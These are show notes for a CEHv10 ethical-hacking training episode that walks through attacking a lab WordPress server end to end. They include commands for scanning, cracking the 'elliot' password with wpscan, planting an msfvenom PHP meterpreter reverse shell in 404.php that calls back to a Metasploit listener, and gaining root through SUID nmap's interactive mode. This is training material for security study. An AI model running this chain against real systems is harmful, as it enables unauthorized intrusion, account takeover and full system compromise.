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- Show Name: CEHv10 (312-50)
- Topic Name: Hacking Web Applications
- Episode Name: Practical Web App Hacking Pt.3
- Description: In this episode, Daniel and Zach explain Web Application hacking methodology through practical example. Here they stand-up a simulated Web App environment where they will take you from Footprinting the target server all the way to gaining root privileges and every step in between.

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## Practical Web App Hacking Pt.3

- Web App Hacking Methodology
  - Discovery
    - Host
      - `netdiscover`
      - `nmap`
    - Enumeration
      - Check for WAF
        - `wafw00f http://10.0.0.176`
      - Services
        - `nmap -A -T4 -n -p- 10.0.0.176`
        - `nikto -h http://10.0.0.176`
          - See WordPress info
        - `dirb http://10.0.0.176`
          - `robots.txt`
        - `wpscan --url http://10.0.0.176 --enumerate u`
          - Doesn't enumerate any user accounts
      - User account
        - Use ZAP! to enumerate the WordPress username
        - Use `wpscan` to crack password
          - `wpscan --url http://10.0.0.176 --wordlist fsociety.dic --username elliot`
        - Use creds to login to Wordpress site
  - Attacking
    - Check user account status
    - Look for ways to upload web shell
    - Use Theme > Editor > 404.php page
    - Use *Metasploit/Msfvenom* to create a php reverse\_tcp shell
      - `msfvenom -p php/meterpreter/reverse_tcp lhost=10.0.0.212 lport=4444 -f raw`
      - Copy output
      - Paste into 404.php and save
      - Open *Metasploit*
        - `> use multi/handler`
        - `> set payload php/meterpreter/reverse_tcp`
        - `> set lhost 10.0.0.212`
        - `> set lport 4444`
        - `> run`

- Browse to <http://10.0.0.176/blah>
  - Check for connection in *Metasploit*
    - meterpreter > sysinfo
    - meterpreter > shell
    - Upgrade shell
      - python -c 'import pty; pty.spawn("/bin/bash")'
- PrivEsc
  - Check for SUID/GUID binaries
    - find / -perm -u=s -type f 2>/dev/null
      - Look over programs
      - See *nmap* there
      - Check the version
      - Launch interactive mode
        - /usr/local/bin/nmap --interactive
        - nmap> !/bin/bash
          - Still a user shell :(
          - Try other shells
          - nmap> !/bin/sh
          - ROOT!!!! :)